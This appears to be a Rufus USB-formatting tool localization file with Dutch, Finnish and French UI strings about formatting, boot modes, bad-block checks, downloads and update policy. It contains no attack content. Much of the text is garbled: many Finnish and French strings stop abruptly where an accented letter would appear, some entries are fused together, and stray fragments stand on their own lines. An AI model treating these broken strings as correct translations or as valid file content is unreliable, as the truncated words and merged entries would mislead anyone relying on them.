t MSG_151 "Gebruik deze optie als u een besturingssysteem in EFI mode wilt installeren, maar toegang nodig hebt tot\n"
"de USB inhoud van Windows XP"
t MSG_152 "Aanbevolen optie om een besturingssysteem in EFI mode te installeren en wanneer USB toegang niet nodig is voor Windows XP"
t MSG_153 "Test patroon: 0xX"
t MSG_154 "Test patroon: 0xX, 0xX"
t MSG_155 "Test patroon: 0xX, 0xX, 0xX"
t MSG_156 "Test patroon: 0xX, 0xX, 0xX, 0xX"
t MSG_157 "Selecteer hier uw type bestandssysteem"
t MSG_158 "Minimum grootte dat een datablok inneemt in het bestandssysteem"
t MSG_159 "Gebruik dit veld om de drive naam in te stellen.\nInternationale tekens worden geaccepteerd"
t MSG_160 "Wisselen naar geavanceerde opties"
t MSG_161 "Controleer het apparaat op slechte blokken tijdens een testpatroon"
t MSG_162 "Uitvinken om een \"langzamere\" formatteer methode te gebruiken"
t MSG_163 "Aanvinken om de USB drive opstartbaar te maken"
t MSG_164 "Gebruikte methode om de drive opstartbaar te maken"
t MSG_165 "Klik om een image te selecteren..."
t MSG_166 "Vink aan om internationale labels te zien en een apparaat\n"
ert een autorun.inf bestand)"
t MSG_167 "Installeert een MBR die een opstartselectie toestaat en de BIOS USB drive ID kan verbergen"
t MSG_168 "Probeert de eerste opstartbare USB drive (gewoonlijk 0x80) voor te laten doen als een andere disk.\n"
"Dit is alleen nodig als u Windows XP installeert en meer dan
t MSG_169 "Cre
t MSG_170 "Activeer de lijst met externe USB HD's.\nGEBRUIK OP EIGEN RISICO!!!"
t MSG_171 "Start het formatteren.\nDit zal alle data op de doel drive VERWIJDEREN!"
t MSG_172 "Licentie informatie en credits"
t MSG_173 "Klik om te selecteren..."
t MSG_174 "Rufus - De betrouwbare USB Formatteer Tool"
t MSG_175 "Versie %d.%d (Build %d)"
t MSG_176 "Nederlandse vertaling: Roberto Pino <mailto:rcpac@ziggo.nl>"
t MSG_177 "Meld fouten of verbeteringsverzoeken naar:"
t MSG_178 "Aanvullende Auteursrechten:"
t MSG_179 "Update Beleid:"
t MSG_180 "Als u ervoor kiest dat dit programma op updates controleert,"
t MSG_181 "Type besturingssysteem en versienummer"
t MSG_182 "Versienummer van de applicatie die u gebruikt"
t MSG_183 "Uw IP adres"
t MSG_184 "Ten behoeve van het genereren van statistieken voor priv
t MSG_185 "Update Proces:"
t MSG_186 "Rufus voert geen installatie van of achtergrond services uit, Daarom worden updatecontroles alleen uitgevoerd als de toepassing wordt uitgevoerd.\\line\n"
"Internet toegang is natuurlijk vereist wanneer er op updates gecontroleerd wordt."
t MSG_187 "Ongeldige image voor geselecteerde opstart optie"
t MSG_188 "De huidige image komt niet overeen met de opstart optie die geselecteerd is. Gebruik a.u.b. een andere image of kies een andere opstart optie."
t MSG_189 "Dit ISO beeldbestand is niet compatibel met het geselecteerde bestandssysteem."
t MSG_190 "niet compatibel drive gedetecteerd"
t MSG_191 "Schrijfactie"
t MSG_192 "Leesactie"
t MSG_193 "Gedownload %s"
t MSG_194 "Kan niet downloaden %s"
t MSG_195 "Gebruikt ge
ntegreerde versie van %s bestand(en)"
t MSG_196 "BELANGRIJK: DEZE DRIVE GEBRUIKT EEN NIET-STANDAARD SECTORGROOTTE!!\n\n"
"Conventionele drives gebruiken een 512-byte sector grootte maar deze drive gebruikt een %d-byte one. "
t MSG_197 "Niet-standaard sectorgrootte gedetecteerd"
t MSG_198 "'Windows To Go' kan alleen worden ge
t MSG_199 "Kies dit als u van plan bent om Windows op een andere schijf te installeren, waarvan het geselecteerde apparaat als installatie media wordt gebruikt."
t MSG_200 "Kies dit als u Windows rechtstreeks vanaf het geselecteerde apparaat wilt starten."
t MSG_201 "Bezig met annuleren - Een moment geduld a.u.b. ..."
t MSG_202 "Bezig met onderzoeken van image..."
t MSG_203 "Onderzoeken van image mislukt"
t MSG_204 "Verouderde %s gedetecteerd"
t MSG_205 "Gebruikte image: %s"
t MSG_206 "Ontbrekend %s bestand"
t MSG_207 "Nieuw Volume"
t MSG_208 "%d apparaat gevonden"
t MSG_209 "%d apparaten gevonden"
t MSG_210 "GEREED"
t MSG_211 "Geannuleerd"
t MSG_212 "MISLUKT"
t MSG_213 "Bezig nieuwe applicatie opstarten..."
t MSG_214 "Starten van nieuwe applicatie mislukt"
t MSG_215 "Geopend %s"
t MSG_216 "Opgeslagen %s"
t MSG_217 "Formatteren: %0.1f%% voltooid"
t MSG_218 "Bestandssysteem aan het maken: Taak %d/%d voltooid"
t MSG_219 "NTFS herstellen: %d%% voltooid"
t MSG_220 "Formatteren (UDF) (%s) - Geschatte duur %d:d..."
t MSG_221 "Cre
t MSG_222 "Formatteren (%s)..."
t MSG_223 "NTFS herstellen (Checkdisk)..."
t MSG_224 "Schoon MBR/PBR/GPT structuren op..."
t MSG_225 "Verzoek tot disk toegang..."
t MSG_226 "Bezig met analyse bestaande opstart records..."
t MSG_227 "Bezig bestaande volume afsluiten..."
t MSG_228 "Master boot record aan het schrijven..."
t MSG_229 "Partitie opstartrecord aan het schrijven..."
t MSG_230 "DOS files aan het kopi
t MSG_231 "ISO bestanden aan het kopi
t MSG_232 "Win7 EFI opstart setup (Dit kan een tijdje duren)..."
t MSG_233 "Finaliseren, een moment geduld a.u.b. ..."
t MSG_234 "Bezig met installeren Syslinux %s..."
t MSG_235 "Slechte Blokken: Ronde %s %d/%d - %0.2f%% (%d/%d/%d fouten)"
t MSG_236 "Slechte Blokken: Testen met willekeurig patroon"
t MSG_237 "Slechte Blokken: Testen met patroon 0xX"
t MSG_238 "Partitioneren (%s)..."
t MSG_239 "Partities worden verwijderd..."
t MSG_240 "Downloaden %s: Bezig met connectie..."
t MSG_241 "Downloaden: %0.1f%%"
t MSG_242 "Downloaden van bestand mislukt."
t MSG_243 "Controleren op Rufus updates..."
t MSG_244 "Updates: Connectie met internet niet mogelijk"
t MSG_245 "Updates: Versienummer ophalen niet mogelijk"
t MSG_246 "Een nieuwe versie van Rufus is beschikbaar!"
t MSG_247 "Geen nieuwe versies van Rufus gevonden"
t MSG_248 "Registersleutels van applicatie succesvol verwijderd"
t MSG_249 "Registersleutels van applicatie verwijderen mislukt"
t MSG_250 "%s ingeschakeld"
t MSG_251 "%s uitgeschakeld"
t MSG_252 "Controles op image grootte"
t MSG_253 "Detectie harde schijven"
t MSG_254 "Forceer uitgebreide FAT32 formattering"
t MSG_255 "NoDriveTypeAutorun zal worden verwijderd tijdens afsluiten"
t MSG_256 "Valse drive detectie"
t MSG_257 "Joliet ondersteuning"
t MSG_258 "Rock Ridge ondersteuning"
t MSG_259 "Update forceren"
t MSG_260 "NTFS compressie"
t MSG_261 "Bezig met schrijven van image: %0.1f%% voltooid"
t MSG_262 "ISO ondersteuning"
t MSG_263 "Gebruik de juiste grootte-eenheden"
t MSG_264 "De map '%s' wordt verwijderd"
t MSG_265 "VMWare disk gedetecteerd"
t MSG_266 "Dubbel UEFI/BIOS modus"
t MSG_267 "Windows image wordt toegepast: %0.1f%% gereed"
t MSG_268 "Windows image wordt toegepast..."
t MSG_269 "Behoud bestandsdata"
t MSG_271 "Image checksums berekenen: %0.1f%% voltooid"
t MSG_272 "Bereken de MD5, SHA1 en SHA256 checksums voor de geselecteerde image"
t MSG_273 "Verander de taal van het programma"
t MSG_274 "ISOHybride image gedetecteerd"
t MSG_275 "De geselecteerde image is een 'ISOHybride' image. Dit betekent dat het in "
"%s (bestands copy) modus of %s (disk image) modus weggeschreven kan worden.\n"
"Rufus beveelt de %s modus aan zodat er altijd volledige toegang is tot de schijf nadat deze beschreven is.\n"
"Echter, als er problemen zijn tijdens het opstarten, kunt u proberen om deze image opnieuw te schrijven in %s modus.\n\n"
t MSG_276 "Schrijf in %s modus (Aanbevolen)"
t MSG_277 "Schrijf in %s modus"
t MSG_278 "Opstart type"
t MSG_279 "Niet bootable"
t MSG_280 "Image selectie"
t MSG_281 "(Selecteer a.u.b. een image)"
t MSG_282 "Exclusieve USB drive vergrendeling"
t MSG_283 "Ongeldige handtekening"
t MSG_284 "het gedownloade programmabestand heeft geen digitale handtekening."
t MSG_285 "Het gedownloade programmabestand is ondertekend door '%s'.\nDit is geen herkende handtekening "
t MSG_286 "Nullen schrijven : %0.1f%% voltooid"
m IDC_NBPASSES 12,0
s IDC_NBPASSES -9,0
t IDC_WINDOWS_INSTALL "Tavanomainen Windowsin asennus"
t IDC_WEBSITE "Klikkaa t
t MSG_001 "Toinen prosessi k
t MSG_002 "Rufus-sovellus on jo k
t MSG_003 "VAROITUS: KAIKKI TIEDOT LAITTEESSA '%s' POISTETAAN.\n"
t MSG_004 "Rufus-p
t MSG_005 "Haluatko sallia Rufuksen etsi
t MSG_006 "Sulje"
t MSG_007 "Peruuta"
t MSG_008 "Kyll
t MSG_009 "Ei"
t MSG_010 "Viallisia lohkoja l
t MSG_011 "Tarkistus valmis: %d viallista lohkoa l
" %d lukuvirhe(tt
)\n %d kirjoitusvirhe(tt
)\n %d korruptiovirhe(tt
t MSG_012 "%s\nA voit tarkastella tarkempaa raporttia kohteessa:\n%s"
t MSG_013 "Pois k
t MSG_014 "P
t MSG_015 "Viikoittain"
t MSG_016 "Kuukausittain"
t MSG_017 "Mukautettu"
t MSG_018 "T
versio: %d.%d (Build %d)"
t MSG_019 "Viimeisin versio: %d.%d (Build %d)"
t MSG_020 "tavua"
t MSG_026 "tavua"
t MSG_027 "kilotavua"
t MSG_028 "megatavua"
t MSG_029 "Oletus"
t MSG_030 "%s (Oletus)"
t MSG_031 "%s-osiotyyppi BIOS- tai %s"
t MSG_032 "%s-osiotyyppi BIOS"
t MSG_033 "%s-osiotyyppi UEFI"
t MSG_034 "%d testi"
t MSG_035 "%d testi
t MSG_036 "ISO-kuva"
t MSG_037 "Sovellus"
t MSG_038 "Keskeyt
t MSG_040 "Lataa"
t MSG_041 "K
t MSG_042 "Virhe"
t MSG_043 "Virhe: %s"
t MSG_044 "Tiedoston lataus"
t MSG_045 "USB-tallennuslaite (Yleinen)"
t MSG_046 "%s (Levy %d) [%s]"
t MSG_047 "Useita osioita"
t MSG_048 "Rufus - Tyhjennet
t MSG_049 "Rufus - Peruutus"
t MSG_050 "Onnistui."
t MSG_051 "M
t MSG_052 "Valittua tiedostoj
t MSG_054 "Tietov
t MSG_055 "Laite on toisen prosessin k
t MSG_056 "T
t MSG_057 "Aseman nimi ei kelpaa."
t MSG_058 "Laitteen tunniste ei kelpaa."
t MSG_059 "Valittua tilanvarausyksikk
t MSG_060 "Aseman koko ei kelpaa."
t MSG_061 "Aseta ."
t MSG_064 "Virhe lukiessa."
t MSG_065 "Virhe kirjoittaessa."
t MSG_066 "Asennus ep
t MSG_067 "Tietov
t MSG_068 "Virhe osioidessa levy
t MSG_069 "Tietoja ei voitu kopioida kohdelevylle."
t MSG_070 "K
t MSG_071 "S
t MSG_072 "Lohkojen tarkistus ei valmistunut."
t MSG_073 "ISO-levykuvan skannaus ep
t MSG_074 "ISO-levykuvan purkaminen ep
t MSG_075 "Asemaa ei voitu ottaa uudelleen k
t MSG_076 "Tiedostoja ei voitu p
t MSG_077 "Levykirjainta ei voitu asettaa."
t MSG_078 "GUID-asemaa ei voitu ottaa k
t MSG_079 "Laite ei ole valmis."
t MSG_080 "Rufus havaitsi, ett
Windows tyhjent
annat Windowsin suorittaa toiminnon loppuun v
t MSG_081 "Levykuvaa ei tueta"
t MSG_082 "Valittu levykuva ei ole boottava tai se k
t MSG_083 "Korvataanko %s?"
t MSG_084 "T
n vanhentunutta '%s'-versiota.\n"
"'%s' l
t MSG_085 "Ladataan %s"
t MSG_086 "ISO-levykuvaa ei valittu"
t MSG_087 "Paina levykuvakkeesta valitaksesi boottaavan ISO-levykuvan "
t MSG_088 "Levykuva on liian suuri"
t MSG_089 "Levykuva on liian suuri valittuun kohteeseen."
t MSG_090 "ISO-levykuvaa ei tueta"
t MSG_091 "UEFI-kohdetyyppi
t MSG_092 "Tiedostoj
t MSG_093 "T
Windowsissa. "
t MSG_094 "Useita osioita havaittu"
t MSG_095 "DD-kuva"
t MSG_096 "Valittua tiedostoj
t MSG_097 "'%s' on k
t MSG_098 "T
: Olet asentamassa 'Windows To Go' -j
johtuen Windows todenn
t MSG_099 "Tiedostoj
t MSG_100 "T
t MSG_101 "WIM-tuki puuttuu"
t MSG_102 "K
EFI-bootattavien Windows 7 ja Windows Vista USB-asemien luomisessa. Voit korjata tilanteen"
t MSG_103 "Ladataanko %s?"
t MSG_104 "%s tai uudempi vaatii '%s'-tiedoston asennuksen.\n"
ytyy aina %s ISO-levykuvista, "
t MSG_105 "Peruuttaminen saattaa j
t MSG_106 "Valitse kansio"
t MSG_107 "Kaikki tiedostot"
t MSG_108 "Rufuksen loki"
t MSG_109 "0xX (Levy %d)"
t MSG_110 "MS-DOS ei voi k
t MSG_111 "Ep
t MSG_112 "Suurten UDF-asemien alustus voi kest
"kesto on %d:d, mink
t MSG_113 "Suuri UDF-asema"
t MSG_114 "T
Syslinuxia %s%s, mutta t
"Syslinuxille %s%s.\n\nKoska Syslinuxin uudet versiot eiv
"('ldlinux.sys' ja 'ldlinux.bss'):\n"t MSG_115 "Lataus vaaditaan"
t MSG_116 "T
Grubia %s, mutta t
"Grubille %s.\n\nKoska Grubin eri versiot eiv
"('core.img'), joka tt MSG_150 "Yleens
t MSG_151 "K
n Windows XP:ss
t MSG_152 "Suositeltu vaihtoehto k
ei tarvita Windows XP:lle"
t MSG_153 "Testikuvio: 0xX"
t MSG_154 "Testikuvio: 0xX, 0xX"
t MSG_155 "Testikuvio: 0xX, 0xX, 0xX"
t MSG_156 "Testikuvio: 0xX, 0xX, 0xX, 0xX"
t MSG_157 "Asettaa kohteen tiedostoj
t MSG_158 "Minimikoko, jonka datalohko varaa tiedostoj
t MSG_159 "K
t MSG_160 "N
t MSG_161 "Tarkista laite testikuviolla vioittuneiden lohkojen varalta"
t MSG_162 "Poista valintaruudun valinta k
t MSG_163 "Valitse valintaruutu tehd
t MSG_164 "Tapa, jolla asemasta tehd
t MSG_165 "Paina valitaksesi levykuva..."
t MSG_166 "Valitse valintaruutu salliaksesi kansainv
"ja asettaaksesi laitekuvakkeen (luo autorun.inf-tiedoston)"
t MSG_167 "Asenna MBR, joka sallii k
t MSG_168 "Yrit
n tulisi olla tarpeellista vain asennettaessa Windows XP:t
t MSG_169 "Luo ylim
t MSG_170 "Ota k
t MSG_171 "K
t MSG_172 "Lisenssitiedot ja tekij
t MSG_173 "Paina valitaksesi..."
t MSG_174 "Rufus - Luotettava USB-alustusohjelma"
t MSG_175 "Versio %d.%d (Build %d)"
t MSG_176 "Suomenkielinen k
t MSG_177 "Raportoi virheit
t MSG_178 "Muut tekij
t MSG_179 "P
t MSG_180 "Jos annat ohjelman etsi
t MSG_181 "K
t MSG_182 "K
t MSG_183 "IP-osoitteesi"
t MSG_184 "Yksityisten k
t MSG_185 "P
t MSG_186 "Rufus ei asenna tai aja taustapalveluja, siksi p
t MSG_187 "Levykuva ei ole sopiva valitulle k
t MSG_188 "Nykyinen levykuva ei vastaa valittua k
t MSG_189 "T
t MSG_190 "Ep
t MSG_191 "Kirjoitustesti"
t MSG_192 "Lukutesti"
t MSG_193 "Ladattu %s"
t MSG_194 "Ei voitu ladata %s"
t MSG_195 "K
versiota %s -tiedostoista"
t MSG_196 "T
%d-tavuista. "
t MSG_197 "Ep
t MSG_198 "'Windows To Go' voidaan asentaa GPT-osioidulle asemalla vain, jos asema "
t MSG_199 "Valitse t
, jos aiot asentaa Windowsin eri asemalle k
t MSG_200 "Valitse t
Windowsia siirrelt
t MSG_201 "Peruutetaan - Odota..."
t MSG_202 "Skannataan ISO-levykuvaa..."
t MSG_203 "ISO-levykuvan skannaus ep
t MSG_204 "Vanhentunut %s havaittu"
t MSG_205 "K
oleva levykuva: %s"
t MSG_206 "Tiedosto %s puuttuu"
t MSG_207 "Uusi asema"
t MSG_208 "%d laite havaittu"
t MSG_209 "%d laitetta havaittu"
t MSG_210 "VALMIINA"
t MSG_211 "Peruutettu"
t MSG_212 "EP
t MSG_213 "K
t MSG_214 "Uuden sovelluksen k
t MSG_215 "Avattu %s"
t MSG_216 "Tallennettu %s"
t MSG_217 "Alustus: %0.1f%% valmiina"
t MSG_218 "Luodaan tiedostoj
: Toiminto %d/%d suoritettu"
t MSG_219 "NTFS-korjaus: %d%% valmiina"
t MSG_220 "Alustetaan (%s) - arvioitu kesto %d:d..."
t MSG_221 "Asetetaan nime
t MSG_222 "Alustetaan (%s)..."
t MSG_223 "NTFS-korjaus (Checkdisk)..."
t MSG_224 "Selvitet
t MSG_225 "Pyydet
t MSG_226 "Analysoidaan l
t MSG_227 "Suljetaan olemassaolevaa asemaa..."
t MSG_228 "Kirjoitetaan master boot record..."
t MSG_229 "Kirjoitetaan partition boot record..."
t MSG_230 "Kopioidaan DOS-tiedostoja..."
t MSG_231 "Kopioidaan ISO-tiedostoja..."
t MSG_232 "Win7 EFI -k
t MSG_233 "Viimeistell
t MSG_234 "Asennetaan Syslinux %s..."
t MSG_235 "Lohkot: %s %d/%d - %0.2f%% (%d/%d/%d virhett
t MSG_236 "Lohkot: Testataan satunnaisella kuviolla"
t MSG_237 "Lohkot: Testataan kuviolla 0xX"
t MSG_238 "Osioidaan (%s)..."
t MSG_239 "Poistetaan osioita..."
t MSG_240 "Ladataan %s: Yhdistet
t MSG_241 "Ladataan: %0.1f%%"
t MSG_242 "Tiedoston lataaminen ep
t MSG_243 "Tarkistetaan Rufus-p
t MSG_244 "P
t MSG_245 "P
t MSG_246 "Uusi Rufus-versio on saatavilla!"
t MSG_247 "Ei l
t MSG_248 "Rekisteriavaimet poistettu onnistuneesti"
t MSG_249 "Rekisteriavainten poistaminen ep
t MSG_250 "%s p
t MSG_251 "%s pois p
t MSG_252 "Kokotarkistukset"
t MSG_253 "Kiintolevyjen havaitseminen"
t MSG_254 "Laajan FAT32-alustuksen pakotus"
t MSG_255 "NoDriveTypeAutorun poistetaan suljettaessa"
t MSG_256 "Valeasemien havaitseminen"
t MSG_257 "Joliet-tuki"
t MSG_258 "Rock Ridge -tuki"
t MSG_259 "P
t MSG_260 "NTFS-pakkaaminen"
t MSG_261 "Kirjoitetaan levykuvaa: %0.1f%% valmiina"
t MSG_262 "ISO-tuki"
t MSG_263 "OIKEIDEN tilayksik
t MSG_264 "Poistetaan kansiota '%s'"
t MSG_265 "VMWare-levyn havaitseminen"
t MSG_266 "Kaksois-UEFI/BIOS -tila"
t MSG_267 "Asetetaan Windows-levykuvaa: %0.1f%% suoritettu"
t MSG_268 "Asetetaan Windows-levykuvaa..."
t MSG_269 "Aikaleimojen k
t MSG_270 "USB-virheenkorjaus"
t MSG_271 "Lasketaan levykuvan tarkistussummia: %0.1f%% suoritettu"
t MSG_272 "Laske valitun levykuvan MD5-, SHA1- ja SHA256-tarkistussummat."
t MSG_273 "Vaihda sovelluksen kielt
t MSG_274 "ISOHybrid-levykuva havaittu"
t MSG_275 "Valitsemasi levykuva on muotoa 'ISOHybrid'. T
"kirjoittaa joko %sna (tiedostojen kopiointi) tai %sna (levykuva).\n"
n '%s' -tilaa, jotta sinulla pysyy t
kirjoittaa levykuvaa uudelleen '%s' -tilassa.\n\n"
t MSG_276 "Kirjoita %sna (Suositellaan)"
t MSG_277 "Kirjoita %sna"
t MSG_278 "K
t MSG_279 "Ei-boottaava"
t MSG_280 "Levykuvan valinta"
t MSG_281 "(Valitse levykuva)"
t MSG_282 "USB-aseman eksklusiivinen k
t MSG_283 "Ep
t MSG_284 "Ladatusta tiedostosta puuttuu digitaalinen allekirjoitus."
t MSG_285 "Ladatun tiedoston on allekirjoittanut '%s'.\nEmme tunnista kyseist
m IDC_NBPASSES 5,0
s IDC_NBPASSES -2,0
t IDC_WINDOWS_INSTALL "Installation standard de Windows"
t IDC_WEBSITE "Cliquez ici pour aller sur le site de Rufus"
t MSG_001 "Autre instance d
t MSG_002 "Une autre instance de Rufus est en cours d'ex
t MSG_003 "ATTENTION : TOUTES LES DONNEES DU VOLUME '%s' VONT ETRE EFFACEES.\n"
t MSG_004 "Mises
t MSG_005 "Voulez-vous autoriser Rufus
t MSG_006 "Fermer"
t MSG_007 "Annuler"
t MSG_008 "Oui"
t MSG_009 "Non"
t MSG_010 "Blocs d
t MSG_011 "V
te : %d bloc(s) d
" %d erreur(s) de lecture\n %d erreur(s) d'
criture\n %d erreur(s) de corruption\n"
t MSG_012 "%s\nUn rapport plus d
:\n%s"
t MSG_013 "Jamais"
t MSG_014 "Quotidienne"
t MSG_015 "Hebdomadaire"
t MSG_016 "Mensuelle"
t MSG_017 "Personnalis
t MSG_018 "Votre version : %d.%d (Build %d)"
t MSG_019 "Derni
re version : %d.%d (Build %d)"
t MSG_020 "octets"
t MSG_021 "Ko"
t MSG_022 "Mo"
t MSG_023 "Go"
t MSG_024 "To"
t MSG_025 "Po"
t MSG_026 "octets"
t MSG_027 "kilo-octets"
t MSG_028 "m
t MSG_029 "D
t MSG_030 "%s (D
t MSG_031 "Type de partition %s pour BIOS ou %s"
t MSG_032 "Type de partition %s pour BIOS"
t MSG_033 "Type de partition %s pour UEFI"
t MSG_034 "%d passe"
t MSG_035 "%d passes"
t MSG_036 "Image ISO"
t MSG_038 "Annuler"
t MSG_039 "Lancer"
t MSG_040 "T
t MSG_041 "Op
t MSG_042 "Erreur"
t MSG_043 "Erreur : %s"
t MSG_044 "T
t MSG_045 "P
t MSG_046 "%s (Disque %d) [%s]"
t MSG_047 "Plusieurs partitions"
t MSG_048 "Rufus - Flush de la m
t MSG_049 "Rufus - Annulation"
t MSG_050 "Op
t MSG_051 "Erreur ind
t MSG_052 "Ce syst
t MSG_053 "L'acc
t MSG_054 "Le p
t MSG_055 "Le p
t MSG_056 "Le formatage rapide n'est pas disponible pour ce p
t MSG_057 "Le nom de volume est invalide."
t MSG_058 "Le handle de p
t MSG_059 "Cette taille de cluster n'est pas applicable ici."
t MSG_060 "La taille du volume est invalide."
t MSG_061 "Veuillez ins
t MSG_062 "Commande non support
t MSG_063 "Erreur d'allocation m
t MSG_064 "Erreur de lecture."
t MSG_065 "Erreur d'
t MSG_066 "L'installation a
t MSG_067 "Impossible d'acc
t MSG_068 "Erreur de partitionnement."
t MSG_069 "Impossible de copier les fichiers sur le p
t MSG_070 "Op
t MSG_071 "Impossible de cr
t MSG_072 "La v
t MSG_073 "Echec d'analyse de l'image ISO."
t MSG_074 "Echec d'extraction de l'image ISO."
t MSG_075 "Echec lors du remontage du volume."
t MSG_076 "Echec de modification des fichiers de d
t MSG_077 "Echec d'assignation d'une lettre de volume."
t MSG_078 "Impossible de monter le volume GUID."
t MSG_079 "Le p
t MSG_080 "Rufus a d
que Windows est en train de finir de vider la m
"prendre beaucoup de temps.\n\nNous recommandons d'attendre que Windows compl
t MSG_081 "Image non support
t MSG_082 "Cette image n'est pas d
t MSG_083 "Remplacer %s?"
t MSG_084 "Cette image ISO utilise une version obsol
te du fichier '%s'.\n"
"Si un '%s' existe
t MSG_085 "T
chargement de %s"
t MSG_086 "Aucune image s
t MSG_087 "Veuillez cliquer sur le bouton avec un disque pour s
t MSG_088 "Image trop large"
t MSG_089 "L'image est trop large pour
t MSG_090 "Image ISO on support
t MSG_091 "Quand UEFI est s
es sur EFI sont support
t MSG_092 "Syst
me de fichiers non support
t MSG_093 "IMPORTANT : CE P
es ou bien visibles depuis Windows. Si vous d
t MSG_094 "Partitions multiples d
t MSG_095 "Image DD"
t MSG_096 "Le syst
t MSG_097 "'%s' peut seulement
t MSG_098 "IMPORTANT: Vous essayez d'installer 'Windows To Go', mais votre p
"l'attribut 'FIXE'. A cause de cela, Windows va tr
t MSG_099 "Limitation du syst
t MSG_100 "Cette image ISO contient un fichier de plus de 4 Go, ce qui est plus que la taille maximum "
"support
t MSG_101 "Support pour archives WIM non disponible"
t MSG_102 "Votre plateforme ne peut pas extraire les fichiers depuis les archives WIM. L'extraction de donn
marrable avec EFI pour Windows 7/8 ou Windows Vista. Vous pouvez adresser "
t MSG_103 "T
charger %s?"
t MSG_104 "%s ou plus r
cent requiert l'installation d'un fichier '%s'.\n"
base de %s, "
"'%s' existe
t MSG_105 "Annuler peut laisser le p
t MSG_106 "S
t MSG_107 "Tous les fichiers"
t MSG_108 "Log Rufus"
t MSG_109 "0xX (disque %d)"
t MSG_110 "MS-DOS ne peut pas
t MSG_111 "Taille de clusters incompatible"
t MSG_112 "Le formatage d'un volume UDF de grande taille peut prendre beaucoup de temps. Aux vitesses USB 2.0, "
e est %d :d, pendant laquelle la barre de progr
t MSG_113 "Volume UDF de grand taille"
t MSG_114 "Cette image utilise Syslinux %s%s mais l'application inclus seulement les fichiers d'installation pour Syslinux %s%s.\n\n"
mentaires ('ldlinux.sys' et 'ldlinux.bss') doiventt MSG_115 "T
t MSG_116 "Cette image utilise Grub %s mais l'application inclus seulement les fichiers d'installation pour Grub %s.\n\n"
charger une version du fichier d'installation de Grub ('core.img') qui "t MSG_150 "Le choix le plus s
t MSG_151 "Choisissez cette option si vous voulez installer un Syst
dia depuis Windows XP"
t MSG_152 "Option pr
dia depuis Windows XP n
t MSG_153 "Motif de test : 0xX"
t MSG_154 "Motif de test : 0xX, 0xX"
t MSG_155 "Motif de test : 0xX, 0xX, 0xX"
t MSG_156 "Motif de test : 0xX, 0xX, 0xX, 0xX"
t MSG_158 "Taille minimum qu
t MSG_159 "Utilisez ce champ pour mettre
t MSG_160 "Affiche/Cache les options avanc
t MSG_161 "D
t MSG_162 "D
t MSG_163 "Cochez cette case pour rendre le p
t MSG_164 "M
t MSG_165 "Cliquez ici pour s
t MSG_166 "Cochez cette case pour permettre l
era un fichier autorun.inf)"
t MSG_167 "Installe un MBR permettant la s
t MSG_168 "Camoufle le premier disque USB d
"Changez cette option si vous installez Windows XP avec plus d
t MSG_169 "Cr
t MSG_170 "Liste les disques durs externes USB. UTILISEZ A VOS PROPRES RISQUES !!! "
t MSG_171 "Lance le formatage. Cette op
t MSG_172 "Licence et remerciements"
t MSG_173 "Cliquez pour s
t MSG_176 "Traduction Fran
aise : Pete Batard <mailto:pete@akeo.ie>"
t MSG_177 "Soumettre un bug ou une demande d'am
t MSG_178 "Copyrights suppl
t MSG_179 "Politique de mises
t MSG_180 "Si vous autorisez ce programme
t MSG_181 "L
t MSG_182 "La version de l
t MSG_183 "Votre adresse IP"
t MSG_184 "Afin de g
t MSG_185 "Processus de mise
t MSG_186 "Aucun service ou t
t MSG_187 "Image invalide pour l'option de d
t MSG_188 "L'image choisie ne correspond pas
t MSG_189 "Cette image ISO n'est pas compatible avec le syst
t MSG_190 "P
t MSG_191 "Phase d'
t MSG_192 "Phase de lecture"
t MSG_193 "T
pour %s "
t MSG_194 "Impossible de t
charger %s"
t MSG_195 "La version par d
faut du fichier %s sera utilis
t MSG_196 "IMPORTANT: CE P
des disques utilisent une taille de secteur de 512 octets, mais celui ci utilise une taille de %d octets. "
t MSG_197 "Taille de secteur non standard d
t MSG_198 "'Windows To Go' peut seulement
t MSG_199 "Choisissez cette option si vous comptez installer Windows, sur un autre disque, "
t MSG_200 "Choisissez cette option si vous voulez fair tourner Windows directement depuis ce p
t MSG_201 "Annulation - Veuillez patienter..."
t MSG_202 "Analyse de l'image..."
t MSG_203 "Echec d'analyse de l'image"
t MSG_204 "Fichier %s obsol
t MSG_205 "Image utilis
e : %s"
t MSG_206 "Fichier %s manquant"
t MSG_207 "Nouveau volume"
t MSG_208 "%d p
t MSG_209 "%d p
t MSG_210 "PR
t MSG_211 "Op
t MSG_212 "ECHEC"
t MSG_213 "Lancement de la nouvelle application..."
t MSG_214 "Echec de lancement de l'application"
t MSG_215 "%s ouvert"
t MSG_216 "%s sauvegard
t MSG_217 "Formatage : %0.1f%% compl
t MSG_218 "Syst
che %d/%d compl
t MSG_219 "Finalisation NTFS: %d%% compl
t MSG_220 "Formatage (%s) - dur
e %d :d..."
t MSG_221 "Ecriture du label (peut prendre du temps)..."
t MSG_222 "Formatage (%s)..."
t MSG_223 "Finalisation NTFS (Checkdisk)..."
t MSG_224 "Effacement des structures MBR/PBR/GPT..."
t MSG_225 "Requ
t MSG_226 "Analyse des structures de boot existantes..."
t MSG_227 "Fermeture des volumes existants..."
t MSG_228 "Ecriture du MBR..."
t MSG_229 "Ecriture du PBR..."
t MSG_230 "Copie des fichiers DOS..."
t MSG_231 "Copie des fichiers ISO..."
t MSG_232 "Ecriture boot Win7 EFI (peut prendre du temps)..."
t MSG_233 "Finalisation, veuillez patienter..."
t MSG_234 "Installation de Syslinux %s..."
t MSG_235 "Test de d
fauts : %s %d/%d - %0.2f%% (%d/%d/%d erreurs)"
t MSG_236 "Test de d
t MSG_237 "Test de d
fauts : Test avec motif 0xX"
t MSG_238 "Partitionage (%s)..."
t MSG_239 "Effacement des partitions..."
t MSG_240 "T
chargement de %s : Connexion..."
t MSG_241 "T
t MSG_242 "Echec de t
t MSG_243 "Recherche des mises
t MSG_244 "Mises
t MSG_245 "Mises
t MSG_246 "Une nouvelle version de Rufus est disponible !"
t MSG_247 "Pas de nouvelle mise
t MSG_248 "Cl
t MSG_249 "Echec de suppression des cl
t MSG_250 "%s activ
t MSG_251 "%s d
t MSG_252 "Tests de d
passement de taille"
t MSG_253 "D
t MSG_254 "Force large FAT32'"
t MSG_255 "NoDriveTypeAutorun sera effac
t MSG_256 "Test de contrefa
t MSG_257 "Support Joliet"
t MSG_258 "Support Rock Ridge"
t MSG_259 "For
t MSG_260 "Compression NTFS"
t MSG_261 "Ecriture d'image : %0.1f%% compl
t MSG_262 "Support ISO"
t MSG_263 "Affichage de tailles avec de VRAIES unit
t MSG_264 "Suppression du dossier '%s'"
t MSG_265 "D
t MSG_266 "Mode dual UEFI/BIOS"
t MSG_267 "Application de l'image Windows: %0.1f%% compl
